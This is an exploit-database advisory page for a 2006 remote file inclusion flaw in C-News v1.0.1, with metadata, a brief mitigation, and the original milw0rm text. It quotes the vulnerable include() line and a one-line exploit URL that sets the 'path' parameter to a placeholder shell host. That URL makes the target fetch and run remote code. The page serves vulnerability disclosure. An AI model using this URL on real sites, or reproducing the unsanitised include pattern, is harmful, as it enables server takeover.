header-logo
Suggest Exploit
vendor:
C-News
by:
SHiKaA
N/A
CVSS
N/A
Remote File Inclusion
98
CWE
Product Name: C-News
Affected Version From: v1.0.1
Affected Version To: v1.0.1
Patch Exists: NO
Related CWE: N/A
CPE: a:c-news:c-news
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

C-News <= v1.0.1 (path) Remote File Inclusion Exploit

A vulnerability exists in C-News v1.0.1 which allows a remote attacker to include a file from a remote host. The vulnerability is due to the 'path' parameter in the 'affichage/commentaires.php' script not properly sanitized before being used in an include() function call. This can be exploited to include arbitrary files from remote hosts by passing a URL as the 'path' parameter. Successful exploitation requires that 'allow_url_include' is set to 'On' in the php.ini file.

Mitigation:

Ensure that 'allow_url_include' is set to 'Off' in the php.ini file.
Source

Exploit-DB raw data:

#==============================================================================================
#C-News <= v1.0.1 (path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.c-news.fr/       
#                                                                       
#Version : v1.0.1                                             
#                                                         
#================================================================================================
#Bug in : affichage/commentaires.php
#
#Vlu Code :
#--------------------------------
#      include($path . 'data/config.inc.php');
# 
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/affichage/commentaires.php?path=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : SiMooooo
==================================================================================================

# milw0rm.com [2006-09-05]